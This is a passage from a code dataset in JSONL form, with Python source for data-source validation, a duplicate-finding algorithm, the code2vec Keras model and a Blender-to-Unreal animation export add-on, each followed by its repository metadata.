validate_data_source_schema(data_sources)\n\n if schema_status:\n logger.debug(f'Correct schema in all data sources in {data_sources_conf_file} file')\n else:\n raise ValueError(f'Some data sources schemas are wrong, check conf file in {data_sources_conf_file}')\n\n # Create list for warning and complete status\n data_source_status_summary = []\n\n for source_name, source_details in data_sources.items():\n\n table_name = source_details['table_name']\n dbms = source_details['dbms']\n date_column = source_details['date_column']\n key_columns = source_details['key_columns']\n date_format = source_details['date_format']\n frequency = source_details['frequency']\n day_month = source_details.get('day_month', 'first')\n validate_duplicates = source_details['validate_duplicates']\n periods_needed_replica = source_details['periods_needed_replica'] - 1\n periods_check_outliers = source_details['periods_check_outliers'] - 1\n\n # Create db_connection depending on data_sources\n if dbms == 'hive':\n db_connection = hive_connection\n elif dbms == 'teradata':\n db_connection = teradata_connection\n else:\n raise NotImplementedError('Data warehouses supporting by now : hive and teradata')\n\n # Get start and final date to execute validation query\n complete_start_date, outliers_start_date, final_date = generate_start_final_dates(frequency, day_month,\n replica_date,\n periods_needed_replica,\n periods_check_outliers)\n\n # Verify data sources status\n complete_status, outlier_status, duplicates_status = validate_data_source(table_name, date_column, date_format,\n frequency, complete_start_date,\n outliers_start_date, final_date,\n day_month, validate_duplicates,\n key_columns, dbms, db_connection)\n\n data_source_status_summary.append([table_name, complete_status, outlier_status, duplicates_status])\n\n # Save data source status summary to dataframe\n df_status_summary = pd.DataFrame(data_source_status_summary, columns=['table_name', 'complete_status',\n 'outlier_status', 'duplicates_status'])\n\n return df_status_summary\n","repo_name":"advanced-analytics-tdp/execution-framework","sub_path":"execution_framework/data_source_validation.py","file_name":"data_source_validation.py","file_ext":"py","file_size_in_byte":18308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26889260114","text":"# link- https://www.youtube.com/watch?v=32Ll35mhWg0&list=PLgUwDviBIf0rPG3Ictpu74YWBQ1CaBkm2\n\ndef findDuplicate(nums,n):\n slow=nums[0]\n fast=nums[0]\n while(1):\n slow=nums[slow]\n fast=nums[nums[fast]]\n if(slow==fast):\n break\n \n fast=nums[0]\n while(slow!=fast):\n slow=nums[slow]\n fast=nums[fast]\n return slow\n\n\n\nn=int(input())\na=list(map(int,input().split()))\nprint(findDuplicate(a,n))","repo_name":"pusupalahemanthkumar/coding","sub_path":"Arrays/Algo/01_find_dup.py","file_name":"01_find_dup.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2269594641","text":"import tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.layers import Input, Embedding, Concatenate, Dropout, TimeDistributed, Dense\nfrom tensorflow.keras.callbacks import Callback\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.metrics import sparse_top_k_categorical_accuracy\n\nfrom path_context_reader import PathContextReader, ModelInputTensorsFormer, ReaderInputTensors, EstimatorAction\nimport os\nimport numpy as np\nfrom functools import partial\nfrom typing import List, Optional, Iterable, Union, Callable, Dict\nfrom collections import namedtuple\nimport time\nimport datetime\nfrom vocabularies import VocabType\nfrom keras_attention_layer import AttentionLayer\nfrom keras_topk_word_predictions_layer import TopKWordPredictionsLayer\nfrom keras_words_subtoken_metrics import WordsSubtokenPrecisionMetric, WordsSubtokenRecallMetric, WordsSubtokenF1Metric\nfrom config import Config\nfrom common import common\nfrom model_base import Code2VecModelBase, ModelEvaluationResults, ModelPredictionResults\nfrom keras_checkpoint_saver_callback import ModelTrainingStatus, ModelTrainingStatusTrackerCallback,\\\n ModelCheckpointSaverCallback, MultiBatchCallback, ModelTrainingProgressLoggerCallback\n\n\nclass Code2VecModel(Code2VecModelBase):\n def __init__(self, config: Config):\n self.keras_train_model: Optional[keras.Model] = None\n self.keras_eval_model: Optional[keras.Model] = None\n self.keras_model_predict_function: Optional[K.GraphExecutionFunction] = None\n self.training_status: ModelTrainingStatus = ModelTrainingStatus()\n self._checkpoint: Optional[tf.train.Checkpoint] = None\n self._checkpoint_manager: Optional[tf.train.CheckpointManager] = None\n super(Code2VecModel, self).__init__(config)\n\n def _create_keras_model(self):\n # Each input sample consists of a bag of x`MAX_CONTEXTS` tuples (source_terminal, path, target_terminal).\n # The valid mask indicates for each context whether it actually exists or it is just a padding.\n path_source_token_input = Input((self.config.MAX_CONTEXTS,), dtype=tf.int32)\n path_input = Input((self.config.MAX_CONTEXTS,), dtype=tf.int32)\n path_target_token_input = Input((self.config.MAX_CONTEXTS,), dtype=tf.int32)\n context_valid_mask = Input((self.config.MAX_CONTEXTS,))\n\n # Input paths are indexes, we embed these here.\n paths_embedded = Embedding(\n self.vocabs.path_vocab.size, self.config.PATH_EMBEDDINGS_SIZE, name='path_embedding')(path_input)\n\n # Input terminals are indexes, we embed these here.\n token_embedding_shared_layer = Embedding(\n self.vocabs.token_vocab.size, self.config.TOKEN_EMBEDDINGS_SIZE, name='token_embedding')\n path_source_token_embedded = token_embedding_shared_layer(path_source_token_input)\n path_target_token_embedded = token_embedding_shared_layer(path_target_token_input)\n\n # `Context` is a concatenation of the 2 terminals & path embedding.\n # Each context is a vector of size 3 * EMBEDDINGS_SIZE.\n context_embedded = Concatenate()([path_source_token_embedded, paths_embedded, path_target_token_embedded])\n context_embedded = Dropout(1 - self.config.DROPOUT_KEEP_RATE)(context_embedded)\n\n # Lets get dense: Apply a dense layer for each context vector (using same weights for all of the context).\n context_after_dense = TimeDistributed(\n Dense(self.config.CODE_VECTOR_SIZE, use_bias=False, activation='tanh'))(context_embedded)\n\n # The final code vectors are received by applying attention to the \"densed\" context vectors.\n code_vectors, attention_weights = AttentionLayer(name='attention')(\n [context_after_dense, context_valid_mask])\n\n # \"Decode\": Now we use another dense layer to get the target word embedding from each code vector.\n target_index = Dense(\n self.vocabs.target_vocab.size, use_bias=False, activation='softmax', name='target_index')(code_vectors)\n\n # Wrap the layers into a Keras model, using our subtoken-metrics and the CE loss.\n inputs = [path_source_token_input, path_input, path_target_token_input, context_valid_mask]\n self.keras_train_model = keras.Model(inputs=inputs, outputs=target_index)\n\n # Actual target word predictions (as strings). Used as a second output layer.\n # Used for predict() and for the evaluation metrics calculations.\n topk_predicted_words, topk_predicted_words_scores = TopKWordPredictionsLayer(\n self.config.TOP_K_WORDS_CONSIDERED_DURING_PREDICTION,\n self.vocabs.target_vocab.get_index_to_word_lookup_table(),\n name='target_string')(target_index)\n\n # We use another dedicated Keras model for evaluation.\n # The evaluation model outputs the `topk_predicted_words` as a 2nd output.\n # The separation between train and eval models is for efficiency.\n self.keras_eval_model = keras.Model(\n inputs=inputs, outputs=[target_index, topk_predicted_words], name=\"code2vec-keras-model\")\n\n # We use another dedicated Keras function to produce predictions.\n # It have additional outputs than the original model.\n # It is based on the trained layers of the original model and uses their weights.\n predict_outputs = tuple(KerasPredictionModelOutput(\n target_index=target_index, code_vectors=code_vectors, attention_weights=attention_weights,\n topk_predicted_words=topk_predicted_words, topk_predicted_words_scores=topk_predicted_words_scores))\n self.keras_model_predict_function = K.function(inputs=inputs, outputs=predict_outputs)\n\n def _create_metrics_for_keras_eval_model(self) -> Dict[str, List[Union[Callable, keras.metrics.Metric]]]:\n top_k_acc_metrics = []\n for k in range(1, self.config.TOP_K_WORDS_CONSIDERED_DURING_PREDICTION + 1):\n top_k_acc_metric = partial(\n sparse_top_k_categorical_accuracy, k=k)\n top_k_acc_metric.__name__ = 'top{k}_acc'.format(k=k)\n top_k_acc_metrics.append(top_k_acc_metric)\n predicted_words_filters = [\n lambda word_strings: tf.not_equal(word_strings, self.vocabs.target_vocab.special_words.OOV),\n lambda word_strings: tf.strings.regex_full_match(word_strings, r'^[a-zA-Z\\|]+$')\n ]\n words_subtokens_metrics = [\n WordsSubtokenPrecisionMetric(predicted_words_filters=predicted_words_filters, name='subtoken_precision'),\n WordsSubtokenRecallMetric(predicted_words_filters=predicted_words_filters, name='subtoken_recall'),\n WordsSubtokenF1Metric(predicted_words_filters=predicted_words_filters, name='subtoken_f1')\n ]\n return {'target_index': top_k_acc_metrics, 'target_string': words_subtokens_metrics}\n\n @classmethod\n def _create_optimizer(cls):\n return tf.optimizers.Adam()\n\n def _compile_keras_model(self, optimizer=None):\n if optimizer is None:\n optimizer = self.keras_train_model.optimizer\n if optimizer is None:\n optimizer = self._create_optimizer()\n\n def zero_loss(true_word, topk_predictions):\n return tf.constant(0.0, shape=(), dtype=tf.float32)\n\n self.keras_train_model.compile(\n loss='sparse_categorical_crossentropy',\n optimizer=optimizer)\n\n self.keras_eval_model.compile(\n loss={'target_index': 'sparse_categorical_crossentropy', 'target_string': zero_loss},\n optimizer=optimizer,\n metrics=self._create_metrics_for_keras_eval_model())\n\n def _create_data_reader(self, estimator_action: EstimatorAction, repeat_endlessly: bool = False):\n return PathContextReader(\n vocabs=self.vocabs,\n config=self.config,\n model_input_tensors_former=_KerasModelInputTensorsFormer(estimator_action=estimator_action),\n estimator_action=estimator_action,\n repeat_endlessly=repeat_endlessly)\n\n def _create_train_callbacks(self) -> List[Callback]:\n # TODO: do we want to use early stopping? if so, use the right chechpoint manager and set the correct\n # `monitor` quantity (example: monitor='val_acc', mode='max')\n\n keras_callbacks = [\n ModelTrainingStatusTrackerCallback(self.training_status),\n ModelTrainingProgressLoggerCallback(self.config, self.training_status),\n ]\n if self.config.is_saving:\n keras_callbacks.append(ModelCheckpointSaverCallback(\n self, self.config.SAVE_EVERY_EPOCHS, self.logger))\n if self.config.is_testing:\n keras_callbacks.append(ModelEvaluationCallback(self))\n if self.config.USE_TENSORBOARD:\n log_dir = \"logs/scalars/train_\" + common.now_str()\n tensorboard_callback = keras.callbacks.TensorBoard(\n log_dir=log_dir,\n update_freq=self.config.NUM_BATCHES_TO_LOG_PROGRESS * self.config.TRAIN_BATCH_SIZE)\n keras_callbacks.append(tensorboard_callback)\n return keras_callbacks\n\n def train(self):\n # initialize the input pipeline reader\n train_data_input_reader = self._create_data_reader(estimator_action=EstimatorAction.Train)\n\n training_history = self.keras_train_model.fit(\n train_data_input_reader.get_dataset(),\n steps_per_epoch=self.config.train_steps_per_epoch,\n epochs=self.config.NUM_TRAIN_EPOCHS,\n initial_epoch=self.training_status.nr_epochs_trained,\n verbose=self.config.VERBOSE_MODE,\n callbacks=self._create_train_callbacks())\n\n self.log(training_history)\n\n def evaluate(self) -> Optional[ModelEvaluationResults]:\n val_data_input_reader = self._create_data_reader(estimator_action=EstimatorAction.Evaluate)\n eval_res = self.keras_eval_model.evaluate(\n val_data_input_reader.get_dataset(),\n steps=self.config.test_steps,\n verbose=self.config.VERBOSE_MODE)\n k = self.config.TOP_K_WORDS_CONSIDERED_DURING_PREDICTION\n return ModelEvaluationResults(\n topk_acc=eval_res[3:k+3],\n subtoken_precision=eval_res[k+3],\n subtoken_recall=eval_res[k+4],\n subtoken_f1=eval_res[k+5],\n loss=eval_res[1]\n )\n\n def predict(self, predict_data_rows: Iterable[str]) -> List[ModelPredictionResults]:\n predict_input_reader = self._create_data_reader(estimator_action=EstimatorAction.Predict)\n input_iterator = predict_input_reader.process_and_iterate_input_from_data_lines(predict_data_rows)\n all_model_prediction_results = []\n for input_row in input_iterator:\n # perform the actual prediction and get raw results.\n input_for_predict = input_row[0][:4] # we want only the relevant input vectors (w.o. the targets).\n prediction_results = self.keras_model_predict_function(input_for_predict)\n\n # make `input_row` and `prediction_results` easy to read (by accessing named fields).\n prediction_results = KerasPredictionModelOutput(\n *common.squeeze_single_batch_dimension_for_np_arrays(prediction_results))\n input_row = _KerasModelInputTensorsFormer(\n estimator_action=EstimatorAction.Predict).from_model_input_form(input_row)\n input_row = ReaderInputTensors(*common.squeeze_single_batch_dimension_for_np_arrays(input_row))\n\n # calculate the attention weight for each context\n attention_per_context = self._get_attention_weight_per_context(\n path_source_strings=input_row.path_source_token_strings,\n path_strings=input_row.path_strings,\n path_target_strings=input_row.path_target_token_strings,\n attention_weights=prediction_results.attention_weights\n )\n\n # store the calculated prediction results in the wanted format.\n model_prediction_results = ModelPredictionResults(\n original_name=common.binary_to_string(input_row.target_string.item()),\n topk_predicted_words=common.binary_to_string_list(prediction_results.topk_predicted_words),\n topk_predicted_words_scores=prediction_results.topk_predicted_words_scores,\n attention_per_context=attention_per_context,\n code_vector=prediction_results.code_vectors)\n all_model_prediction_results.append(model_prediction_results)\n\n return all_model_prediction_results\n\n def _save_inner_model(self, path):\n if self.config.RELEASE:\n self.keras_train_model.save_weights(self.config.get_model_weights_path(path))\n else:\n self._get_checkpoint_manager().save(checkpoint_number=self.training_status.nr_epochs_trained)\n\n def _create_inner_model(self):\n self._create_keras_model()\n self._compile_keras_model()\n self.keras_train_model.summary(print_fn=self.log)\n\n def _load_inner_model(self):\n self._create_keras_model()\n self._compile_keras_model()\n\n # when loading the model for further training, we must use the full saved model file (not just weights).\n # we load the entire model if we must to or if there is no model weights file to load.\n must_use_entire_model = self.config.is_training\n entire_model_exists = os.path.exists(self.config.entire_model_load_path)\n model_weights_exist = os.path.exists(self.config.model_weights_load_path)\n use_full_model = must_use_entire_model or not model_weights_exist\n\n if must_use_entire_model and not entire_model_exists:\n raise ValueError(\n \"There is no model at path `{model_file_path}`. When loading the model for further training, \"\n \"we must use an entire saved model file (not just weights).\".format(\n model_file_path=self.config.entire_model_load_path))\n if not entire_model_exists and not model_weights_exist:\n raise ValueError(\n \"There is no entire model to load at path `{entire_model_path}`, \"\n \"and there is no model weights file to load at path `{model_weights_path}`.\".format(\n entire_model_path=self.config.entire_model_load_path,\n model_weights_path=self.config.model_weights_load_path))\n\n if use_full_model:\n self.log('Loading entire model from path `{}`.'.format(self.config.entire_model_load_path))\n latest_checkpoint = tf.train.latest_checkpoint(self.config.entire_model_load_path)\n if latest_checkpoint is None:\n raise ValueError(\"Failed to load model: Model latest checkpoint is not found.\")\n self.log('Loading latest checkpoint `{}`.'.format(latest_checkpoint))\n status = self._get_checkpoint().restore(latest_checkpoint)\n status.initialize_or_restore()\n # FIXME: are we sure we have to re-compile here? I turned it off to save the optimizer state\n # self._compile_keras_model() # We have to re-compile because we also recovered the `tf.train.AdamOptimizer`.\n self.training_status.nr_epochs_trained = int(latest_checkpoint.split('-')[-1])\n else:\n # load the \"released\" model (only the weights).\n self.log('Loading model weights from path `{}`.'.format(self.config.model_weights_load_path))\n self.keras_train_model.load_weights(self.config.model_weights_load_path)\n\n self.keras_train_model.summary(print_fn=self.log)\n\n def _get_checkpoint(self):\n assert self.keras_train_model is not None and self.keras_train_model.optimizer is not None\n if self._checkpoint is None:\n # TODO: we would like to save (& restore) the `nr_epochs_trained`.\n self._checkpoint = tf.train.Checkpoint(\n # nr_epochs_trained=tf.Variable(self.training_status.nr_epochs_trained, name='nr_epochs_trained'),\n optimizer=self.keras_train_model.optimizer, model=self.keras_train_model)\n return self._checkpoint\n\n def _get_checkpoint_manager(self):\n if self._checkpoint_manager is None:\n self._checkpoint_manager = tf.train.CheckpointManager(\n self._get_checkpoint(), self.config.entire_model_save_path,\n max_to_keep=self.config.MAX_TO_KEEP)\n return self._checkpoint_manager\n\n def _get_vocab_embedding_as_np_array(self, vocab_type: VocabType) -> np.ndarray:\n assert vocab_type in VocabType\n\n vocab_type_to_embedding_layer_mapping = {\n VocabType.Target: 'target_index',\n VocabType.Token: 'token_embedding',\n VocabType.Path: 'path_embedding'\n }\n embedding_layer_name = vocab_type_to_embedding_layer_mapping[vocab_type]\n weight = np.array(self.keras_train_model.get_layer(embedding_layer_name).get_weights()[0])\n assert len(weight.shape) == 2\n\n # token, path have an actual `Embedding` layers, but target have just a `Dense` layer.\n # hence, transpose the weight when necessary.\n assert self.vocabs.get(vocab_type).size in weight.shape\n if self.vocabs.get(vocab_type).size != weight.shape[0]:\n weight = np.transpose(weight)\n\n return weight\n\n def _create_lookup_tables(self):\n PathContextReader.create_needed_vocabs_lookup_tables(self.vocabs)\n self.log('Lookup tables created.')\n\n def _initialize(self):\n self._create_lookup_tables()\n\n\nclass ModelEvaluationCallback(MultiBatchCallback):\n \"\"\"\n This callback is passed to the `model.fit()` call.\n It is responsible to trigger model evaluation during the training.\n The reason we use a callback and not just passing validation data to `model.fit()` is because:\n (i) the training model is different than the evaluation model for efficiency considerations;\n (ii) we want to control the logging format;\n (iii) we want the evaluation to occur once per 1K batches (rather than only once per epoch).\n \"\"\"\n\n def __init__(self, code2vec_model: 'Code2VecModel'):\n self.code2vec_model = code2vec_model\n self.avg_eval_duration: Optional[int] = None\n super(ModelEvaluationCallback, self).__init__(self.code2vec_model.config.NUM_TRAIN_BATCHES_TO_EVALUATE)\n\n def on_epoch_end(self, epoch, logs=None):\n self.perform_evaluation()\n\n def on_multi_batch_end(self, batch, logs, multi_batch_elapsed):\n self.perform_evaluation()\n\n def perform_evaluation(self):\n if self.avg_eval_duration is None:\n self.code2vec_model.log('Evaluating...')\n else:\n self.code2vec_model.log('Evaluating... (takes ~{})'.format(\n str(datetime.timedelta(seconds=int(self.avg_eval_duration)))))\n eval_start_time = time.time()\n evaluation_results = self.code2vec_model.evaluate()\n eval_duration = time.time() - eval_start_time\n if self.avg_eval_duration is None:\n self.avg_eval_duration = eval_duration\n else:\n self.avg_eval_duration = eval_duration * 0.5 + self.avg_eval_duration * 0.5\n self.code2vec_model.log('Done evaluating (took {}). Evaluation results:'.format(\n str(datetime.timedelta(seconds=int(eval_duration)))))\n\n self.code2vec_model.log(\n ' loss: {loss:.4f}, f1: {f1:.4f}, recall: {recall:.4f}, precision: {precision:.4f}'.format(\n loss=evaluation_results.loss, f1=evaluation_results.subtoken_f1,\n recall=evaluation_results.subtoken_recall, precision=evaluation_results.subtoken_precision))\n top_k_acc_formated = ['top{}: {:.4f}'.format(i, acc) for i, acc in enumerate(evaluation_results.topk_acc, start=1)]\n for top_k_acc_chunk in common.chunks(top_k_acc_formated, 5):\n self.code2vec_model.log(' ' + (', '.join(top_k_acc_chunk)))\n\n\nclass _KerasModelInputTensorsFormer(ModelInputTensorsFormer):\n \"\"\"\n An instance of this class is passed to the reader in order to help the reader to construct the input\n in the form that the model expects to receive it.\n This class also enables conveniently & clearly access input parts by their field names.\n eg: 'tensors.path_indices' instead if 'tensors[1]'.\n This allows the input tensors to be passed as pure tuples along the computation graph, while the\n python functions that construct the graph can easily (and clearly) access tensors.\n \"\"\"\n\n def __init__(self, estimator_action: EstimatorAction):\n self.estimator_action = estimator_action\n\n def to_model_input_form(self, input_tensors: ReaderInputTensors):\n inputs = (input_tensors.path_source_token_indices, input_tensors.path_indices,\n input_tensors.path_target_token_indices, input_tensors.context_valid_mask)\n if self.estimator_action.is_train:\n targets = input_tensors.target_index\n else:\n targets = {'target_index': input_tensors.target_index, 'target_string': input_tensors.target_string}\n if self.estimator_action.is_predict:\n inputs += (input_tensors.path_source_token_strings, input_tensors.path_strings,\n input_tensors.path_target_token_strings)\n return inputs, targets\n\n def from_model_input_form(self, input_row) -> ReaderInputTensors:\n inputs, targets = input_row\n return ReaderInputTensors(\n path_source_token_indices=inputs[0],\n path_indices=inputs[1],\n path_target_token_indices=inputs[2],\n context_valid_mask=inputs[3],\n target_index=targets if self.estimator_action.is_train else targets['target_index'],\n target_string=targets['target_string'] if not self.estimator_action.is_train else None,\n path_source_token_strings=inputs[4] if self.estimator_action.is_predict else None,\n path_strings=inputs[5] if self.estimator_action.is_predict else None,\n path_target_token_strings=inputs[6] if self.estimator_action.is_predict else None\n )\n\n\n\"\"\"Used for convenient-and-clear access to raw prediction result parts (by their names).\"\"\"\nKerasPredictionModelOutput = namedtuple(\n 'KerasModelOutput', ['target_index', 'code_vectors', 'attention_weights',\n 'topk_predicted_words', 'topk_predicted_words_scores'])\n","repo_name":"tech-srl/code2vec","sub_path":"keras_model.py","file_name":"keras_model.py","file_ext":"py","file_size_in_byte":22524,"program_lang":"python","lang":"en","doc_type":"code","stars":1036,"dataset":"github-code","pt":"52"} +{"seq_id":"45405724478","text":"import bpy\nfrom bpy.utils import register_class, unregister_class\nfrom bpy.types import Operator, UIList\nfrom .. utils.base import ExportOperator, Panel, ExportOptionPanel\n\nclass ANIMATION_UL_action_list(UIList):\n def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):\n layout.prop(item, 'name', text='', icon='ACTION', emboss=False)\n layout.prop(item, 'is_export', text='')\n\nclass OP_SelectExportAction(Operator):\n bl_idname = 'ue4workspace.select_export_action'\n bl_label = 'Select Action To Export'\n bl_options = {'UNDO'}\n\n type: bpy.props.StringProperty(default='')\n\n def execute(self, context):\n if self.type:\n for action in bpy.data.actions:\n action.is_export = {'SELECT': True, 'DESELECT': False, 'INVERT': not action.is_export}[self.type]\n return {'FINISHED'}\n\nclass OP_AddMaterialCurveSuffix(Operator):\n bl_idname = 'ue4workspace.add_material_curve_suffix'\n bl_label = 'Add Suffix'\n bl_description = 'Add Suffix on Animation Export Setting'\n bl_options = {'UNDO'}\n\n val: bpy.props.StringProperty()\n\n def execute(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n unreal_engine_setting = preferences.animation.unreal_engine\n\n material_curve_suffixes = unreal_engine_setting.material_curve_suffixes.split('|') if bool(unreal_engine_setting.material_curve_suffixes) else []\n material_curve_suffixes.append(self.val.replace('|', ''))\n\n unreal_engine_setting.material_curve_suffixes = '|'.join(material_curve_suffixes)\n\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self, width = 250)\n\n def draw(self, context):\n col = self.layout.column()\n row = col.row()\n split = row.split(factor=0.5)\n col = split.column()\n col.alignment = 'RIGHT'\n col.label(text='Value :')\n col = split.column()\n col.prop(self, 'val', text='')\n\nclass OP_ClearMaterialCurveSuffixes(Operator):\n bl_idname = 'ue4workspace.clear_material_curve_suffix'\n bl_label = 'Clear Suffixes'\n bl_description = 'Clear Suffixes on Animation Export Setting'\n bl_options = {'UNDO'}\n\n def execute(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n unreal_engine_setting = preferences.animation.unreal_engine\n\n unreal_engine_setting.material_curve_suffixes = ''\n return {'FINISHED'}\n\nclass OP_RemoveMaterialCurveSuffixIndex(Operator):\n bl_idname = 'ue4workspace.remove_material_curve_suffix_index'\n bl_label = 'Remove Suffix'\n bl_description = 'Remove Suffix Base on Index Animation Export Setting'\n bl_options = {'UNDO'}\n\n index: bpy.props.IntProperty()\n\n def execute(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n unreal_engine_setting = preferences.animation.unreal_engine\n\n material_curve_suffixes = unreal_engine_setting.material_curve_suffixes.split('|') if bool(unreal_engine_setting.material_curve_suffixes) else []\n material_curve_suffixes.pop(self.index)\n\n unreal_engine_setting.material_curve_suffixes = '|'.join(material_curve_suffixes)\n return {'FINISHED'}\n\nclass OP_EditMaterialCurveSuffix(Operator):\n bl_idname = 'ue4workspace.edit_material_curve_suffix'\n bl_label = 'Edit Value Suffix'\n bl_description = 'Edit Value Suffix on Animation Export Setting'\n bl_options = {'UNDO'}\n\n val: bpy.props.StringProperty()\n index: bpy.props.IntProperty()\n\n def execute(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n unreal_engine_setting = preferences.animation.unreal_engine\n\n material_curve_suffixes = unreal_engine_setting.material_curve_suffixes.split('|') if bool(unreal_engine_setting.material_curve_suffixes) else []\n material_curve_suffixes[self.index] = self.val.replace('|', '')\n\n unreal_engine_setting.material_curve_suffixes = '|'.join(material_curve_suffixes)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n return context.window_manager.invoke_props_dialog(self, width = 250)\n\n def draw(self, context):\n col = self.layout.column()\n row = col.row()\n split = row.split(factor=0.5)\n col = split.column()\n col.alignment = 'RIGHT'\n col.label(text='Value :')\n split = split.split()\n col = split.column()\n col.prop(self, 'val', text='')\n\nclass OP_ExportAnimationMesh(ExportOperator):\n bl_idname = 'ue4workspace.export_animation_mesh'\n bl_label = 'Export Animation'\n bl_description = 'Export Action To Animation'\n\n ext_file = 'fbx'\n\n @classmethod\n def poll(cls, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n\n if context.mode == 'OBJECT' and context.active_object is not None and context.active_object.type == 'ARMATURE':\n if preferences.export.type == 'UNREAL' and preferences.animation.skeleton != 'NONE':\n return bool(preferences.export.temp_folder.strip())\n elif preferences.export.type == 'BOTH' and preferences.animation.skeleton != 'NONE':\n return bool(preferences.export.export_folder.strip())\n elif preferences.export.type == 'FILE':\n return bool(preferences.export.export_folder.strip())\n return False\n\n def execute(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n animation = preferences.animation\n fbx_setting = animation.fbx\n unreal_engine_setting = animation.unreal_engine\n\n active_object = context.active_object\n selected_objects = context.selected_objects\n\n directory = self.create_string_directory(preferences.export.export_folder if preferences.export.type in ['FILE','BOTH'] else preferences.export.temp_folder, animation.subfolder)\n\n self.create_directory_if_not_exist(directory, animation.subfolder)\n\n list_name_animations = []\n unreal_engine_import_setting = {\n 'files': [],\n 'main_folder': self.safe_string_path(preferences.connect_unreal_engine.main_folder),\n 'subfolder': self.safe_string_path(animation.subfolder),\n 'overwrite_file': animation.overwrite_file,\n 'temporary': preferences.export.type == 'UNREAL'\n }\n\n unreal_engine_import_setting.update(unreal_engine_setting.to_dict())\n\n bpy.ops.object.select_all(action='DESELECT')\n\n self.mute_attach_constraint(active_object)\n\n active_object.select_set(True)\n\n original_action = active_object.animation_data.action\n original_frame_start = context.scene.frame_start\n original_frame_end = context.scene.frame_end\n\n original_object_name = active_object.name\n is_armature_has_root_bone = active_object.data.bones.get('root', False)\n\n if animation.root_bone == 'ARMATURE':\n active_object.name = 'Armature'\n elif animation.root_bone == 'AUTO':\n if is_armature_has_root_bone:\n active_object.name = 'Armature'\n else:\n active_object.name = 'root'\n elif animation.root_bone == 'OBJECT':\n pass\n\n export_actions = [action for action in bpy.data.actions if action.is_export]\n\n for export_action in export_actions:\n filename = self.safe_string_path(export_action.name)\n check_duplicate = len([animation_name for animation_name in list_name_animations if animation_name.startswith(filename)])\n list_name_animations.append(filename)\n\n filename += '_' + str(check_duplicate) if bool(check_duplicate) else ''\n filename_ext = filename + '.' + self.ext_file\n\n if not self.is_file_exist(directory, filename_ext) or animation.overwrite_file:\n\n original_location = active_object.matrix_world.to_translation()\n if animation.origin == 'OBJECT':\n active_object.matrix_world.translation = (0, 0, 0)\n\n original_rotation = active_object.rotation_quaternion.copy() if active_object.rotation_mode == 'QUATERNION' else active_object.rotation_euler.copy()\n if not animation.apply_rotation:\n if active_object.rotation_mode == 'QUATERNION':\n active_object.rotation_quaternion = (1, 0, 0, 0)\n else:\n active_object.rotation_euler = (0, 0, 0)\n\n active_object.animation_data.action = export_action\n\n if fbx_setting.bake_anim_force_startend_keying:\n context.scene.frame_start, context.scene.frame_end = export_action.frame_range\n\n export_setting = {\n 'filepath': self.create_string_directory(directory, filename_ext),\n 'check_existing': False,\n 'filter_glob': '*.fbx',\n 'use_selection': True,\n 'use_active_collection': False,\n 'object_types': {'ARMATURE'},\n 'use_custom_props': animation.use_custom_props,\n 'bake_anim': True,\n 'bake_anim_use_nla_strips': False,\n 'bake_anim_use_all_actions': False,\n 'path_mode': 'AUTO',\n 'embed_textures': False,\n 'batch_mode': 'OFF'\n }\n\n export_setting.update(fbx_setting.to_dict())\n\n # EXPORT\n bpy.ops.export_scene.fbx(**export_setting)\n\n unreal_engine_import_setting['files'].append({\n 'path': export_setting['filepath'],\n 'skeleton': animation.skeleton\n })\n\n if animation.origin == 'OBJECT':\n active_object.matrix_world.translation = original_location\n\n if not animation.apply_rotation:\n if active_object.rotation_mode == 'QUATERNION':\n active_object.rotation_quaternion = original_rotation\n else:\n active_object.rotation_euler = original_rotation\n\n self.unmute_attach_constraint(active_object)\n\n active_object.select_set(False)\n\n active_object.animation_data.action = original_action\n context.scene.frame_start = original_frame_start\n context.scene.frame_end = original_frame_end\n\n if animation.root_bone == 'ARMATURE':\n active_object.name = original_object_name\n elif animation.root_bone == 'AUTO':\n active_object.name = original_object_name\n elif animation.root_bone == 'OBJECT':\n pass\n\n for obj in selected_objects:\n obj.select_set(state=True)\n\n self.unreal_engine_exec_script('ImportAnimation.py', unreal_engine_import_setting)\n\n self.report({'INFO'}, 'export ' + str(len(unreal_engine_import_setting['files'])) + ' animation success')\n\n return {'FINISHED'}\n\nclass PANEL(Panel):\n bl_idname = 'UE4WORKSPACE_PT_AnimationPanel'\n bl_label = 'Animation'\n\n def draw(self, context):\n layout = self.layout\n preferences = context.preferences.addons['UE4Workspace'].preferences\n animation = preferences.animation\n\n col_data = [\n ('Subfolder', 'subfolder'),\n ('Overwrite File', 'overwrite_file'),\n ('Custom Properties', 'use_custom_props'),\n ('Apply Rotation', 'apply_rotation'),\n ('Root Bone', 'root_bone'),\n ('Origin', 'origin'),\n ('Frame Rate', 'fps'),\n ]\n\n if preferences.export.type in ['UNREAL','BOTH']:\n col_data.append(('Skeleton', 'skeleton'))\n\n for label_str, property_str in col_data:\n row = layout.row()\n split = row.split(factor=0.6)\n col = split.column()\n col.alignment = 'RIGHT'\n col.label(text=label_str)\n col = split.column()\n if property_str == 'fps':\n col.prop(context.scene.render, property_str, text='')\n else:\n col.prop(animation, property_str, text='')\n\n if property_str == 'skeleton':\n row = layout.row()\n row.scale_y = 1.5\n row.operator('ue4workspace.update_skeletons',icon='ARMATURE_DATA')\n\n if context.active_object is not None and context.active_object.type == 'ARMATURE':\n row = layout.row()\n row.template_list('ANIMATION_UL_action_list', '', bpy.data, 'actions', context.active_object, 'ANIMATION_index_action')\n\n row = layout.row(align=True)\n row.scale_y = 1.5\n row.operator('ue4workspace.select_export_action', text='SELECT').type = 'SELECT'\n row.operator('ue4workspace.select_export_action', text='DESELECT').type = 'DESELECT'\n row.operator('ue4workspace.select_export_action', text='INVERT').type = 